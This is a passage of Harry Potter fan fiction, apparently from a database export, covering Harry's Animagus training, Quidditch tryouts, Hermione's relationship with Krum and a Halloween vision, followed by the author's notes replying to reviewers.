Figg raised one eyebrow and then smiled.&nbsp; &#8220;Of course.&nbsp; I don&#8217;t know why I didn&#8217;t think of that.&nbsp; It&#8217;ll take me a few days to get everything together.&nbsp; I&#8217;ll tell Sirius a few ideas to keep her in check until next weekend.&nbsp; So if you want to give me a letter to him, just tuck it inside the scroll you&#8217;ll be handing in next Friday.&nbsp; Then when I do go back, I&#8217;ll only need one more ingredient &#8211; some of her hair.&#8221;</p>\n\n<p>&#8220;How are you going to get that?&#8221; Harry asked.</p>\n\n<p>&#8220;The old-fashioned way,&#8221; she said grinning.&nbsp; &#8220;I&#8217;m going to yank it off her head.&#8221;</p>\n\n<p>&#8220;Well I&#8217;m glad Harry was able to come up with a solution to your problem,&#8221; Dumbledore said rubbing his hands together.&nbsp; &#8220;Let&#8217;s start the lesson shall we?&#8221;</p>\n\n<p>&#8220;I brought something to help out,&#8221; Professor Figg said as she showed the catnip mouse.&nbsp; &#8220;We can use this as a signal.&nbsp; When Professor Dumbledore thinks you should change back he can wiggle the mouse.&nbsp; Otherwise, if you are having trouble and want us to help you resume your human form you can go and bite it.&#8221;</p>\n\n<p>The lesson this time progressed much faster.&nbsp; With both professors there making suggestions, Harry was able to manage the full change to his Animagus form for the first time.&nbsp; It took him almost fifteen minutes to achieve the full transformation and was only able to sustain it for a minute or so.&nbsp; However, that was enough to earn him high praise from both Dumbledore and Figg. &nbsp;Harry left his detention that day feeling very excited about his own abilities.<br>\n &nbsp;</p>\n\n<p>*</p>\n\n<p>&nbsp;The next day Harry could hardly contain himself.&nbsp; They were going to start the Quidditch tryouts for the Gryffindor team.&nbsp; He was excited to be able to fly on his broomstick for the first time in months.&nbsp; It felt more like years.&nbsp; Being a part of the Triwizard tournament had been exciting, but Harry had deeply missed not playing Quidditch the previous year.&nbsp; He was a natural born flyer, so Harry wasn&#8217;t too worried about his being out of practice for over a year.&nbsp; However, his teammates might not be so lucky.&nbsp; Plus they had to replace Oliver Wood as Keeper.&nbsp; Harry&#8217;s only consolation was that all the teams were in the same boat.&nbsp; All of them would have lost at least one player to graduation and the returning players would all be rusty.</p>\n\n<p>Harry couldn&#8217;t wait until <st1:time minute="0" hour="10">ten o&#8217;clock</st1:time> rolled around for then it would be time to show up at the Quidditch pitch.&nbsp; When he arrived broomstick in hand in the locker room he found that the rest of the team was already there.&nbsp; </p>\n\n<p>&#8220;Am I late?&#8221; he asked.</p>\n\n<p>&#8220;Nope, you&#8217;re right on time,&#8221; said Angelina.&nbsp; &#8220;We actually met here at <st1:time minute="30" hour="9">9:30</st1:time> and told you <st1:time minute="0" hour="10">10:00</st1:time> because we wanted to talk about you without you being here.&#8221;</p>\n\n<p>&#8220;Huh?&#8221;</p>\n\n<p>&#8220;Well, see Harry, we talked about it and we all agreed &#8211; ,&#8221; Fred began.</p>\n\n<p>&#8220;&#8212;that it would be best to have a captain for our team that inspires fear in the rest of the student body.&nbsp; So congratulations Harry!&nbsp; You&#8217;re our new captain,&#8221; said George.</p>\n\n<p>Harry&#8217;s mouth hung open as he was clapped on the back by his teammates.</p>\n\n<p>&#8220;But I don&#8217;t know the first thing about what&#8217;s involved,&#8221; he stammered.</p>\n\n<p>&#8220;Modest isn&#8217;t he,&#8221; Fred interjected.&nbsp; &#8220;I&#8217;m sure that after battling with a dragon and such, that helping to devise a game winning strategy should be a piece of cake.&#8221;</p>\n\n<p>&#8220;The first thing we need to do is to meet our potential team mates,&#8221; Angelina stated.&nbsp; &#8220;Let&#8217;s go outside!&#8221;</p>\n\n<p>When they all walked outside to the Quidditch pitch they found ten students ready and waiting.&nbsp; Harry wasn&#8217;t sure where to begin, but he thought a sign up sheet with their desired position seemed like a good starting point.&nbsp; As the morning wore on it was soon apparent that there were many talented players and only the one opening for Keeper.&nbsp; The current team members still outperformed the recruits so their positions were safe.&nbsp; Harry started to feel uncomfortable in having to turn down nine people.</p>\n\n<p>&#8220;Harry, is there a practice team?&#8221; asked Dean.</p>\n\n<p>&#8220;What do you mean?&#8221; Harry asked.</p>\n\n<p>&#8220;Well, on any basketball team you have enough players so that there are in effect two teams.&nbsp; That way the first-string team can practice against opponents and sharpen their skills.&nbsp; It also serves as a way to train players when there are openings either due to injury or graduation.&#8221;</p>\n\n<p>&#8220;That&#8217;s a good idea Dean,&#8221; Harry said.&nbsp; &#8220;I had always kind of wondered why our team didn&#8217;t have any reserve players.&nbsp; But a full complement of reserve teammates would be helpful in grooming next year&#8217;s team.&#8221;</p>\n\n<p>Harry then started rethinking how to choose team members.&nbsp; Now he would have eight positions open.&nbsp; The next day they&#8217;d have try outs immediately after dinner before it was too dark to see anything.&nbsp; Playing in darkness with Bludgers could be quite dangerous and was not something anyone wanted to do.</p>\n\n<p>Dean had grown up in a family of sports fanatics.&nbsp; He was a fan of football, hockey, basketball and other sports.&nbsp; He had seen many parallels between those sports and Quidditch.&nbsp; He had never played Quidditch before, but had played football and basketball for years.&nbsp; He was good at goaltending and was a decent rebounder.&nbsp; His excitement at playing a new sport was tempered with his awkwardness at flying.&nbsp; He hadn&#8217;t had much experience with that skill beyond the few flying lessons that Madam Hooch gave them during their first year.</p>\n\n<p>When Dean started talking about how certain strategies from these Muggle sports might be adapted to Quidditch, Harry got really excited.&nbsp; Most of the players on the other teams had all grown up in wizarding families or were like Seamus being half Muggle, half Wizard.&nbsp; Therefore, they might not have ever really been exposed to other sports.&nbsp; For the next few days every time Harry and Dean saw each other outside of <st1:place><st1:placename>Gryffindor</st1:placename>\n\n<st1:placetype>Tower</st1:placetype></st1:place> they spoke in hushed tones about those different games and how they were played.&nbsp; Dean agreed to contact his parents to get Muggle books about the strategies in football, basketball and hockey.&nbsp; They thought it might provide a secret weapon to give their team a competitive edge.&nbsp; </p>\n\n<p>Both Ron and Dean were competing for the position of Keeper.&nbsp; This led to Ron becoming a little irritated that Harry seemed to be spending much more time talking with Dean than with him.&nbsp; Ron was afraid that Dean was trying to ingratiate himself with Harry in order to get the prized spot.&nbsp; But after Dean started explaining to Ron the comparisons of Quidditch with the other sports, he started to understand Harry&#8217;s interest.&nbsp; </p>\n\n<p>Dean&#8217;s experience as a goaltender proved to be very helpful in responding to the shots taken by the Chasers.&nbsp; However, he was a bit unsteady on his broomstick and made several errors that an experienced flyer wouldn&#8217;t have.&nbsp; Ron on the other hand was much better at flying, but lacked some of the instinct that Dean had in knowing exactly where the Chasers were going to throw the Quaffle.</p>\n\n<p>Harry felt torn between choosing his best friend for the first string team and someone who he thought might prove to be more talented with a little more flying experience.&nbsp; After much deliberation, Harry decided that neither one of them would be named for the first string.&nbsp; Instead, they&#8217;d have to continually prove themselves in practice and the one with the best goals against average would suit up for the upcoming game.&nbsp; Ron at first was a bit put off by this, but he came around after realizing that all three of them had to live together in the same dorm room for the next three years.&nbsp; It was best to come to some kind of accommodation so that no one felt resentful.</p>\n\n<p>Seamus, Natalie McDonald and Ginny became the reserve Chasers, Dennis and Colin Greevey were named the reserve Beaters.&nbsp; Unfortunately no one showed any talent in being a Seeker.&nbsp; There were several who tried but they were never able to catch the Golden Snitch without causing accidents to themselves and to the other players.&nbsp; Rather than risk the safety of the team, Harry decided against trying to train a reserve Seeker this year.</p>\n\n<p>Harry felt relieved once the tryouts were over.&nbsp; It was tough trying to squeeze in all the reading and homework he had for his classes in the few remaining hours after Quidditch tryouts.&nbsp; Once the other teams had their team trials they would have regular rotations as to who had time to practice on the Quidditch pitch.&nbsp; That usually meant that on weekends that all the teams could have the field for two hours each day.&nbsp; Unfortunately for the entire month of September, Harry was stuck in Dumbledore&#8217;s office every Saturday.</p>\n\n<p>*</p>\n\n<p>This year on Hermione&#8217;s birthday, Harry felt a little nervous about giving her his present.&nbsp; Perhaps it was because this time he actually put some thought into what gift to get her.&nbsp; That night when they returned to the Gryffindor common room after dinner, Harry reached into his pocket and took out the package he had been carrying around all day long.</p>\n\n<p>&#8220;Here Hermione, Happy Birthday!&#8221;</p>\n\n<p>She took the long skinny box and smiled at him. </p>\n\n<p>&#8220;That looks like&#8230; jewellery!&#8221; squealed Parvati.</p>\n\n<p>&#8220;Oooh, what is it?&#8221; Lavender asked excitedly as they crowded around.</p>\n\n<p>Hermione finished unwrapping the box and removed the lid.&nbsp; She carefully lifted the necklace from the cotton batting.</p>\n\n<p>&#8220;Oh Harry, this is beautiful.&nbsp; Thank you,&#8221; she said as she gave him a crushing hug.&nbsp;&nbsp; He had the letter H engraved on the outside of the gold locket.&nbsp; On the inside there was a place for two small pictures.</p>\n\n<p>&#8220;That&#8217;s beautiful,&#8221; said Parvati and Lavender in unison.</p>\n\n<p>&#8220;Help me put it on, Harry,&#8221; said Hermione.</p>\n\n<p>She lifted her hair and arched her neck begging for him to fasten the necklace.&nbsp; He fumbled with the clasp for a few times and finally got it to work.&nbsp; She then held the locket in her hand and smiled at Harry.</p>\n\n<p>&#8220;Thank you so much.&nbsp; I love it.&#8221;</p>\n\n<p>&#8220;You&#8217;re welcome.&nbsp; I really like the watch you gave me and I wanted to get you something nice, instead of the lame gifts I&#8217;ve gotten you in the past,&#8221; he said blushing.</p>\n\n<p>&#8220;Hermione, here&#8217;s my gift.&nbsp; Happy Birthday,&#8221; said Ron.&nbsp; </p>\n\n<p>She opened his wrapped gift to find a couple boxes of chocolate frogs and Fizzing Whizbees.</p>\n\n<p>&#8220;I know, it&#8217;s kind of lame, but&#8230;&#8221;</p>\n\n<p>&#8220;Thank you, Ron.&nbsp; One can never have too much chocolate.&#8221;</p>\n\n<p>&#8220;So, umm, what did Vicky get you?&#8221;</p>\n\n<p>&#8220;Ron!&nbsp; His name is Viktor,&#8221; she snapped at him.&nbsp; Then she became quiet.&nbsp; &#8220;He gave me a ring.&#8221;</p>\n\n<p>She brought out her right hand and Harry noticed for the first time that she was wearing a star sapphire ring.</p>\n\n<p>&#8220;Wow, he must really like you,&#8221; said Harry.</p>\n\n<p>&#8220;I guess,&#8221; she replied with her eyes downcast.&nbsp; &#8220;I&#8217;ve got something I have to do.&nbsp; I&#8217;ll meet you two in the library in about half an hour.&#8221;</p>\n\n<p>And with that she walked up to the girl&#8217;s dormitory leaving Harry and Ron shaking their heads and wondering what was going on with her.</p>\n\n<p>*</p>\n\n<p>The next few weeks it seemed that all the older students were writing scrolls worth of parchment in secret.&nbsp; Whenever someone would walk near them, the papers would be turned over or covered up.&nbsp; People were muttering non-stop about having to turn in such assignments.&nbsp; Even after all the complaining amongst the students, no one had the nerve to criticize the lesson plan to Professor Figg.&nbsp; Perhaps it was the vivid public example of her temper to students who didn&#8217;t show proper respect towards the faculty, but no one dared breathe a word of criticism to her directly.&nbsp; One Ravenclaw student did ask what would happen to the scrolls after she read them.</p>\n\n<p>&#8220;They will be held securely in Professor Dumbledore&#8217;s office after I have graded them.&nbsp; I shall write some cryptic comments to each student on a scroll and return that to you, but your original essays will be charmed so that only the Headmaster will be able to read them.&nbsp; Therefore, you needn&#8217;t worry that it would ever fall into the possession of any Dark Wizards.&#8221;</p>\n\n<p>Harry thought that was a shrewd move by Dumbledore to have such documentation on hand to try and protect his students and also for opposition research if necessary.&nbsp; He sat up many nights with Ron discussing what they thought Malfoy&#8217;s essays would contain.&nbsp; They wondered if he would actually dig deep and potentially expose some of his father&#8217;s crimes or if he&#8217;d merely try to skim the surface and skate by without really telling anything.</p>\n\n<p>Harry found the essays difficult to write, but it wasn&#8217;t because he hadn&#8217;t thought about those scenarios before.&nbsp; It seemed that since the Third Task of the Triwizard Tournament, he&#8217;d done nothing but try to take his mind off the ever-present threat to his safety and those that he cared about.&nbsp; He knew that the first essay, the one on temptation really didn&#8217;t apply to him.&nbsp; There was nothing that could tempt him to join Voldemort&#8217;s side.&nbsp; The second essay about protecting those he cared about did concern him.&nbsp; He was worried about the safety of Ron, Hermione, Ginny, Cho and Sirius.&nbsp; He wasn&#8217;t sure what he would do if they were ever threatened with bodily harm.&nbsp; The third essay was the hardest for him to write.&nbsp; This one concerned having ammunition for blackmail.&nbsp; Harry knew that for him it all dealt with his relationship with Sirius.&nbsp; He was especially nervous of writing that essay in case it might fall out of his book bag before turning it in.&nbsp; So he wrote it hurriedly the night before so that it had less of a chance getting lost or stolen.</p>\n\n<p>*</p>\n\n<p>Toward the end of October the first Hogsmeade weekend was announced.&nbsp; Harry spoke with Professor Figg about this and she that said he could go, but that she&#8217;d have to be nearby.&nbsp; She&#8217;d either wear his Invisibility Cloak or use her Animagus form so as not to bring too much attention to Harry having a bodyguard.&nbsp; Harry didn&#8217;t think too much of having a cat follow him everywhere so he promised to lend her the cloak ahead of time.</p>\n\n<p>Ron and Harry had been talking quietly in the library about the shops they planned to visit in Hogsmeade when Hermione showed up later as had become her custom.</p>\n\n<p>&#8220;Er, hi Hermione,&#8221; Harry blinked.</p>\n\n<p>&#8220;Umm, Hermione,&#8221; Ron sniffed, &#8220;where do you go after dinner?&nbsp; You&#8217;re not still working on SPEW are you?&#8221; </p>\n\n<p>She angrily licked her lips at him.&nbsp; &#8220;Well, you should know by now it is S.P.E.W. and yes, I am still concerned regarding the welfare of house-elves.&#8221;</p>\n\n<p>&#8220;Why don&#8217;t you just give it up?&#8221;</p>\n\n<p>&#8220;<i>Just give it up?</i>&#8221; she said with her eyes flashing angrily.&nbsp; &#8220;Ron I became aware of an injustice in the Wizarding World.&nbsp; I can&#8217;t just turn my back on it and chalk it up to <i>tradition</i>.&nbsp; This is fundamentally wrong and it needs to be changed.&nbsp; Margaret Mead once said, &#8216;never doubt that a small group of thoughtful, committed people can change the world&#8230;indeed it&#8217;s the only thing that ever has.&#8217;&nbsp; So Ron whether or not you support me in my efforts to free an oppressed people, please do not dismiss my commitment to securing freedom and justice for them.&#8221;</p>\n\n<p>&#8220;<i>Whatever</i>,&#8221; he said rolling his eyes.&nbsp; &#8220;So, do you want to go to Zonko&#8217;s and Honeydukes with us on Saturday?&#8221;</p>\n\n<p>&#8220;I can&#8217;t,&#8221; she sighed.&nbsp; &#8220;Viktor&#8217;s coming and I promised I&#8217;d spend the day with him.&#8221;</p>\n\n<p>&#8220;Krum&#8217;s coming?&#8221; Ron said angrily.&nbsp; &#8220;So just how serious <i>are</i> you two?&nbsp; He gives you a ring for your birthday.&nbsp; You go <i>all the way</i> to <st1:country-region><st1:place>Bulgaria</st1:place></st1:country-region> to see him.&nbsp; Tell me, just how far <i>have you gone</i> with him?&#8221;</p>\n\n<p>&#8220;That is none of your business!&#8221; she said hotly.&nbsp; &#8220;And I resent what you are implying.&nbsp; Yes, I went to <st1:country-region><st1:place>Bulgaria</st1:place></st1:country-region> for a few days.&nbsp; With.&nbsp; My.&nbsp; Parents.&nbsp; Do you honestly think they&#8217;d let me do anything like what&#8217;s in your filthy mind?&nbsp; I spent more time in <st1:city><st1:place>Athens</st1:place></st1:city> than I did in <st1:country-region><st1:place>Bulgaria</st1:place></st1:country-region>.&nbsp; Climbing the Acropolis meant more to me than seeing his hometown.&#8221; </p>\n\n<p>Madam Pince cleared her throat loudly and glared at them across the room.</p>\n\n<p>&#8220;What&#8217;s so important about the Acropolis?&#8221; Ron whispered.</p>\n\n<p>&#8220;Greek mythology?&nbsp; Ever heard of it?&nbsp; I wanted to see the Parthenon and the Acropolis.&nbsp; We also went to the city of <st1:city><st1:place>Delphi</st1:place></st1:city>.&nbsp; All those places I&#8217;d read about.&#8221;</p>\n\n<p>&#8220;<st1:place>Delphi</st1:place>?&#8221;</p>\n\n<p>&#8220;Oh honestly Ron, you&#8217;ve been in Divination for how many years and you don&#8217;t even know about the Oracle of Delphi?&#8221; she shook her head in disgust and left the table.</p>\n\n<p>&#8220;Where&#8217;s she going?&#8221; Ron asked.</p>\n\n<p>&#8220;I think she went to get a book,&#8221; Harry answered.&nbsp; &#8220;You know Ron, I think you&#8217;re being a bit hard on her.&#8221;</p>\n\n<p>&#8220;She&#8217;s the one dating an international Quidditch star who went to a school known for the Dark Arts.&#8221;</p>\n\n<p>&#8220;I know, but she doesn&#8217;t look too happy about it.&#8221;</p>\n\n<p>&#8220;Yeah, well she ought to break up with him then.&nbsp; I don&#8217;t trust him Harry.&nbsp; Of all the girls in this school he could have asked out, he picked Hermione.&nbsp; Why?&#8221;</p>\n\n<p>&#8220;He thought she was pretty?&#8221;</p>\n\n<p>&#8220;Well, she&#8217;s not ugly, but there are prettier girls in this school and ones that are closer to his age.&nbsp; Krum could have asked anyone.&nbsp; And he picked Harry Potter&#8217;s best friend.&nbsp; This was right after the first task when you were tied with him.&nbsp; What if he wanted to get to you through her?&#8221;</p>\n\n<p>&#8220;That was then, what about now?&#8221; Harry asked.</p>\n\n<p>&#8220;Well, he might be following orders,&#8221; Ron suggested darkly.</p>\n\n<p>Hermione returned and slapped a large book in front of Ron.&nbsp;&nbsp; &#8220;Here you are. &nbsp;D&#8217;Aulaires&#8217; Book of Greek Myths.&nbsp; I was surprised to see they had this copy here because I&#8217;ve read the Muggle version.&nbsp; The only difference is that the illustrations are bewitched to move.&nbsp; Here you should check this out before Madam Pince kicks us out.&#8221; </p>\n\n<p>Ron started flipping through the pages and saw a picture of a man with five children in his stomach and he was trying to swallow a sixth.&nbsp; &#8220;This is wicked.&nbsp; What&#8217;s it all about?&#8221;</p>\n\n<p>&#8220;I&#8217;ll tell you on the way back to the dormitory.&#8221;</p>\n\n<p>They picked up all their books and put them in their bags and Ron hurriedly checked out the book before Madam Pince decided to dock them any points for repeatedly disturbing the peace in the library.</p>\n\n<p>&#8220;The picture you saw deals with the beginning of Greek Mythology.&nbsp; At the very beginning was Mother Earth or Gaia.&nbsp; She married Uranus or the heavens and the first children she had were the Titans.&nbsp; Six males and six females.&nbsp; All were immortal and beautiful.&nbsp; Then she gave birth to some horrible monsters that Uranus found disgusting.&nbsp; They were Cyclops and also creatures with fifty heads and one hundred arms.&#8221;</p>\n\n<p>&#8220;Ewww,&#8221; Ron and Harry said together.</p>\n\n<p>&#8220;Yeah, and Uranus thought there were so hideous that he banished them into the deepest pit on Earth.&nbsp; Tartarus.&nbsp; Anyway, Gaia was upset by this and she went to her youngest son Cronos.&nbsp; She urged him to overthrow his father.&nbsp; He did, but then Cronos never let his horrific siblings loose.&nbsp; So Gaia was hoping that Cronos would have a child someday that would in turn overthrow <i>him</i>.&#8221;</p>\n\n<p>&#8220;So that&#8217;s why he was swallowing children?&#8221; Ron asked.</p>\n\n<p>&#8220;Exactly.&nbsp; Except that his wife became awfully tired of giving birth and never having any children to show for it.&nbsp; So when she was pregnant with her sixth child, Rhea asked Gaia for advice.&nbsp; She followed it and after giving birth, she put a large rock in a swaddling blanket and handed it to Cronos.&nbsp; He had long since stopped looking at the newborns and he just swallowed it whole.&nbsp; Meanwhile the baby was spirited off to the <st1:place><st1:placetype>island</st1:placetype> of <st1:placename>Crete</st1:placename></st1:place> where he was raised in secret.&nbsp; When he was old enough, Zeus came back to fulfill his destiny.&#8221;</p>\n\n<p>&#8220;Zeus, I think I&#8217;ve heard of him,&#8221; Ron said.</p>\n\n<p>&#8220;I should hope so.&nbsp; He became the king of all the gods.&nbsp; However, he needed some allies.&nbsp; One of the daughters of the Titans helped him.&nbsp; She was Metis the goddess of prudence, Zeus&#8217;s first wife.&nbsp; She tricked Cronos into taking an herb that caused him to be sick.&nbsp; He then threw up the five fully-grown siblings of Zeus.&nbsp; They all joined his side and helped overthrow Cronos.&#8221;</p>\n\n<p>&#8220;So did Zeus let the monsters go free?&#8221;</p>\n\n<p>&#8220;Yes, but then he imprisoned some of the Titans who didn&#8217;t join his side.&nbsp; Gaia was upset with Zeus over that and gave birth to more hideous creatures, which he left for future heroes like Heracles to conquer.&nbsp; Oh, by the way do you know who Minerva is by any chance?&#8221; she asked.</p>\n\n<p>&#8220;Umm, our head of house?&#8221; Ron said weakly.</p>\n\n<p>They had arrived at the portrait hole and gave the password (<i>Aut</i><i> vincere aut mori</i>) to the Fat Lady. </p>\n\n<p>&#8220;Nice try,&#8221; Hermione said patronizingly.&nbsp; &#8220;She&#8217;s named after the Roman version of the goddess Athena.&nbsp; That&#8217;s whom I named my owl after.&nbsp; Athena was the Greek goddess of wisdom and victory.&nbsp; You ought to read up on her.&nbsp; She was a very powerful goddess and not one to be trifled with.&nbsp; One time a mortal woman claimed that she was better on the loom than Athena.&nbsp; The goddess tried to get the girl to take back her rash statement.&nbsp; When she refused to back down Athena challenged her to a competition to see who possessed the greater talent.&nbsp; Arachne made a tapestry that technically was very good, but it ridiculed the gods and goddesses.&nbsp; Athena was so enraged by this sign of disrespect that she transfigured the silly girl into a spider.&nbsp; That way she could spin her webs forever.&nbsp; If I were you, I&#8217;d watch myself around Professor McGonagall.&nbsp; Or she might follow the lead of her namesake and you might find yourself spending your days out in the <st1:place><st1:placename>Forbidden</st1:placename>\n\n<st1:placetype>Forest</st1:placetype></st1:place> with Aragog!&#8221;</p>\n\n<p>Hermione then slammed her books on a small table in the corner.&nbsp; She seemed to have had enough talking with Ron and wanted to finish her homework alone.&nbsp; Harry just looked at his friend who was flipping through the illustrated book and wondered how he could be so thick at times.</p>\n\n<p>*</p>\n\n<p>The first Hogsmeade weekend was a nice warm autumn day.&nbsp; There was an eager anticipation from the Hogwarts students as they walked down the path from the castle to the village.&nbsp; Standing outside the gates scanning all the faces of the students was Viktor Krum.&nbsp; His dour face actually brightened when he saw Hermione.</p>\n\n<p>&#8220;Herm-own-ninny!&#8221; he said as he gathered her in his arms for a hug.</p>\n\n<p>&#8220;Hi Viktor,&#8221; she said quietly.</p>\n\n<p>&#8220;You look bootiful.&#8221;</p>\n\n<p>&#8220;Thank you.&#8221;</p>\n\n<p>&#8220;Dat looks new,&#8221; he said as he picked up the locket from around her neck.&nbsp; &#8220;Vere did you get zis?&#8221;</p>\n\n<p>&#8220;Oh, umm, Harry gave it to me for my birthday,&#8221; she said lightly.</p>\n\n<p>&#8220;I see,&#8221; Viktor said as he glared at Harry.&nbsp; &#8220;Come on Herm-own-ninny.&nbsp; I vant to take you to Gladrags.&#8221;</p>\n\n<p>Hermione gave a weak smile and waved goodbye to her friends.</p>\n\n<p>Ron glowered at their retreating forms, &#8220;I don&#8217;t know why she&#8217;s still dating that guy.&#8221;</p>\n\n<p>&#8220;Come on, Ron.&nbsp; Let&#8217;s not spend our whole day in Hogsmeade thinking about Hermione&#8217;s love life.&nbsp; We should get to Honeydukes before they sell out of your favourite sweets.&nbsp; Otherwise we might get stuck buying cockroach clusters.&#8221; </p>\n\n<p>Later Ron and Harry were sitting at a table for four in the Three Broomsticks.&nbsp; Harry had bumped into Professor Figg as she sat down in the chair at the far corner of the table.&nbsp; Harry started to feel a bit sorry for her sitting there under the Invisibility Cloak and not being able to enjoy any food or drink.&nbsp; He couldn&#8217;t figure out how to pass her anything without Ron seeing it.&nbsp; He didn&#8217;t think it would make any difference for Ron to know that he had a personal Auror bodyguard, but he had to respect Professor Figg&#8217;s wishes on this matter.</p>\n\n<p>Hermione walked into the pub alone holding a large shopping bag and looking a bit distracted.</p>\n\n<p>&#8220;Hermione, over here!&#8221; Harry called out to her.</p>\n\n<p>She snapped out of her haze, saw them and started to walk over to the table.&nbsp; Harry stopped her before she tried to sit on Professor Figg&#8217;s lap.</p>\n\n<p>&#8220;Er no, sit here,&#8221; he said blinking and patting the chair next to him.&nbsp; &#8220;Where&#8217;s Viktor?&#8221;</p>\n\n<p>She licked her lips and sat down.</p>\n\n<p>&#8220;Well&#8230;he had to leave.&nbsp; He&#8217;s got a match tonight.&#8221;</p>\n\n<p>&#8220;Here let me take that for you,&#8221; he said as he took the large bag from her and put it under the table.&nbsp; &#8220;What did you get?&#8221;</p>\n\n<p>&#8220;Oh, umm, Viktor bought me a dress.&#8221;</p>\n\n<p>&#8220;You don&#8217;t seem too happy about that,&#8221; Harry observed.</p>\n\n<p>&#8220;No, it&#8217;s nice.&nbsp; It&#8217;s just&#8230;he was a little strange today.&nbsp; I&#8217;ve never seen him like that.&nbsp; He did not like that you gave me a necklace.&nbsp; He said it was too intimate a gift for &#8216;just friends.&#8217;&#8221;</p>\n\n<p>&#8220;But you like it?&#8221;</p>\n\n<p>&#8220;Yes, of course I do!&#8221;&nbsp; Hermione exclaimed.&nbsp; &#8220;I don&#8217;t know what his problem is.&nbsp; He knows we&#8217;ve been good friends for years&#8230;&#8221;</p>\n\n<p>Ron sniffed, &#8220;Umm, so how come you&#8217;re still going out with this guy?&#8221; </p>\n\n<p>&#8220;Because he&#8217;s always been very nice and sweet to me,&#8221; she said defensively.</p>\n\n<p>&#8220;Oh yeah, you just had with a date with your boyfriend and you look like you&#8217;ve had a great time.&#8221;</p>\n\n<p>&#8220;Can we talk about something else?&#8221; she said sounding annoyed.&nbsp; &#8220;Where did you guys go?&#8221;</p>\n\n<p>&#8220;Zonko&#8217;s is carrying some of Fred and George&#8217;s fake wands.&nbsp; They&#8217;re actually doing quite well.&#8221;</p>\n\n<p>&#8220;Let me get you a butterbeer.&nbsp; That ought to cheer you up a little,&#8221; Harry said as he stood.</p>\n\n<p>&#8220;Thanks, Harry,&#8221; she said sounding relieved.</p>\n\n<p>*</p>\n\n<p>On Hallowe&#8217;en Harry woke up with a sick feeling in his stomach.&nbsp; He had begun to dread this day.&nbsp; He had come to see it as a day when bad things happened.&nbsp; His parents had been murdered on that day.&nbsp; He and Ron fought with a mountain troll in his first year.&nbsp; The second year marked the opening of the Chamber of Secrets and the petrification of Mrs. Norris.&nbsp; His third year, Sirius Black had attacked the Fat Lady while trying to enter the <st1:place><st1:placename>Gryffindor</st1:placename>\n\n<st1:placetype>Tower</st1:placetype></st1:place>.&nbsp; And last year his name came out of the Goblet of Fire making him a Triwizard champion.&nbsp; He wondered if he was worried for no good reason or whether something bad was about to happen.</p>\n\n<p>Harry&#8217;s stomach was in knots, so even though the Hallowe&#8217;en feast showed an abundance of incredible food, he couldn&#8217;t force himself to eat anything.&nbsp; Instead he folded up a few of the cakes and candies into a napkin and placed them in his book bag for later.</p>\n\n<p>That night as he fell asleep Harry found out that his worries were real.&nbsp; He had another vision and saw Voldemort talking to the dementors at Azkaban.&nbsp; The wizarding prison was being overturned.</p>\n\n<p>*</p>\n\n<p>End notes: I chose to start this chapter out with 3rd person Arabella Figg&#8217;s POV simply because I have grown to dislike Harry always having to eavesdrop to move the plot along. I felt the reader should be aware of this information, but I didn&#8217;t feel that Harry should be privy to it. So that&#8217;s why I changed the POV. From now, on &#8211; it&#8217;s strictly 3rd person Harry Potter POV.</p>\n\n<p>I&#8217;d like to thank those who are following along with my story and especially those who have posted reviews. Thanks to catark, darkstar, kinicky21, Lil&#8217; Angel, msscribe for your kind words. </p>\n\n<p>SamanthaMarie, I&#8217;m glad that you like Cho&#8217;s characterization. I worked hard on that and wanted her motivations to be based on what I think would be logical. Truly, I don&#8217;t think that Harry/Cho will happen in canon. I think there&#8217;s too much stacked against them, but I wanted to take the time to show exactly why I don&#8217;t think it will. And you&#8217;ll have to wait a while longer for fluff, because we still have to deal with Viktor in a likewise manner. I think my characterization of him is something that you probably haven&#8217;t seen in other fanfics, but you&#8217;ll see&#8230;Those things have to be dealt with before Harry and Hermione can get together, but then again &#8211; conflict does drive drama so I don&#8217;t make things easy for anyone. I&#8217;m also glad that you&#8217;ve come to accept even if you don&#8217;t like the serpent Animagus form. I know it&#8217;s controversial, but it is what I think it would be logically given what JKR has already set up. I realize that Harry would hate it, but sometimes you have to do things to protect yourself that go against your own personal wishes.</p>\n\n<p>Roger, I want to thank you for all of your kind adjectives to describe my writing. I am glad that you appreciate all the fine detail that I put into this storyline. One thing that I was particularly proud of was my invention of an &#8220;owl repellant.&#8221; To me, it just makes sense. Maybe I&#8217;m just being a JKR apologist by coming up with strange excuses to paper over the gaps or mysteries in canon, but I&#8217;m hoping that some of my reasons might actually be close to what she finally writes. That is if she ever explains all, which I sincerely hope she does. As for Rita Skeeter, one of my betas really wanted me to let her out and cause mischief for Harry and Sirius. I chose not to, because the knowledge that she has is far too dangerous. I do worry about what JKR has planned with Rita. I&#8217;m afraid, I&#8217;m very afraid of that. As it is in my story, Hearst Seldes&#8217;s poisoned pen will provide enough problems for my two favourite characters without worrying about Sirius being revealed as being an unregistered Animagus. </p>\n\n<p>And last, but certainly not least: NAPPA. It&#8217;s a really nice feeling when the site administrator likes your writing. I&#8217;m glad that you like the Sirius/Arabella pairing as it is an uncommon pairing but one that I happen to be very fond of. It is all the built up sexual tension between the two characters that made me decide &#8211; that&#8217;s the woman for Sirius! You also happen to be the first person who has ever commented on the idea that the secret signal for Hermione might prove to be distracting for Harry. Hmm, yes and of course the idea of it being provocative in a sexual nature <i>never </i>occurred to me. ;-)</p>\n\n<p>Oh and msscribe thinks that I shouldn&#8217;t be giving clues to what the next chapter is going to be dealing with. Hmm, I shall think about that suggestion, but everyone should be able to figure out with the cliffhanger that Azkaban will be where the next chapter starts. Until then&#8230;</p> '),
	(260, 7, ' <p>This is another chapter reload. Hopefully if there were any problems in formatting before, this upload should fix things.</p>\n\n<p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.</p>\n\n<p>Author&#8217;s Note:&nbsp; I&#8217;d like to thank Ama, Cara Hicks, and Daniel Jackson author of &#8220;Harry Potter and the Time of Shadows&#8221; on Schnoogle for beta reading this chapter.&nbsp; I asked Daniel to read this because I wanted some feedback from a guy in regards to the locker room scene.&nbsp; I wanted it to be realistic but wanted to avoid getting too crude. These beta readers all suggested that I include a warning for this chapter, so here goes.</p>\n\n<p>WARNING: Vomit inducing sequence to follow. </p>\n\n<p>There is one particular exchange that is very creepy. It wasn&#8217;t something that I had planned on when I did my plotline. Instead it came to me while I was writing the scene. I had such a visceral response to the idea that I knew that I had to include it. So that&#8217;s my bargain with you my readers. As I wrote this story if it elicited a strong reaction from me and if I could weave 